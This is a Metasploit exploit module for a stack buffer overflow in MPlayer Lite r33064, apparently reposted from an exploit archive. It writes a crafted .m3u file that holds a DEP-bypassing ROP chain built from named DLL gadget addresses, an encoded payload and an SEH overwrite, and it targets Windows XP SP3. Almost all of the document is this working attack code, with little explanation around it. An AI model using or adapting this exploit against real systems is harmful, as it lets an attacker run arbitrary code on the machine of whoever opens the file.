MPlayer Lite r33064 Buffer Overflow

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'MPlayer Lite M3U Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow vulnerability in  
MPlayer Lite r33064, caused by improper bounds checking of an URL entry.  
  
By persuading the victim to open a specially-crafted .M3U file, specifically by  
drag-and-dropping it to the player, a remote attacker can execute arbitrary  
code on the system.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'C4SS!0 and h1ch4m', # Vulnerability discovery and original exploit  
'Gabor Seljan', # Metasploit module  
],  
'References' =>  
[  
[ 'BID', '46926' ],  
[ 'EDB', '17013' ],  
[ 'URL', 'http://www.mplayer-ww.com/eng/' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread'  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "\x00\x20\x0d\x0a\x1a\x2c\x2e\x26\x2f\x3a\x3e\x3f\x5c",  
'Space' => 5040  
},  
'Targets' =>  
[  
[ 'Windows XP SP3 (DEP Bypass) / MPlayer Lite r33064',  
{  
'Offset' => 21,  
'Ret' => 0x649a7bbe # ADD ESP,64C # PPPR [avformat-52.dll]  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => '2011-03-19',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])  
],  
self.class)  
  
end  
  
def junk  
return rand_text_alpha(4).unpack("V").first  
end  
  
def nops  
return make_nops(4).unpack("V").first  
end  
  
def exploit  
  
# ROP chain generated by mona.py - See corelan.be  
rop_gadgets =  
[  
0x6ad9d85d, # POP EBP # RETN [avcodec-52.dll]  
0x10018fc3, # &CALL ESP [unrar.dll]  
0x64984a70, # POP EAX # RETN [avformat-52.dll]  
0xffffec4f, # Value to negate, will become 0x00005040  
0x6b0ce791, # NEG EAX # RETN [avcodec-52.dll]  
0x6b063c7d, # PUSH EAX # POP EBX # POP ESI # POP EDI # RETN [avcodec-52.dll]  
junk,  
junk,  
0x1001d154, # POP EAX # RETN [unrar.dll]  
0x77e71210, # &VirtualProtect() [IAT RPCRT4.dll]  
0x64987f7f, # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-52.dll]  
0x6afcdc68, # XCHG EAX,ESI # RETN [avcodec-52.dll]  
0x6b02836d, # POP EAX # RETN [avcodec-52.dll]  
0xffffffc0, # Value to negate, will become 0x00000040  
0x6b0ce791, # NEG EAX # RETN [avcodec-52.dll]  
0x6af79d80, # XCHG EAX,EDX # RETN [avcodec-52.dll]  
0x1001bad6, # POP ECX # RETN [unrar.dll]  
0x649eab48, # &Writable location [avformat-52.dll]  
0x6d7c0bb7, # POP EDI # RETN [swscale-0.dll]  
0x6b03d722, # RETN (ROP NOP) [avcodec-52.dll]  
0x64984a70, # POP EAX # RETN [avformat-52.dll]  
nops,  
0x6d7c57d1 # PUSHAD # RETN [swscale-0.dll]  
].flatten.pack('V*')  
  
sploit = rand_text_alpha_upper(target['Offset'])  
sploit << rop_gadgets  
sploit << payload.encoded  
sploit << generate_seh_record(target.ret)  
sploit << rand_text_alpha_upper(1000) # Generate exception  
  
# Create the file  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create("http://" + sploit)  
  
end  
end  
  
`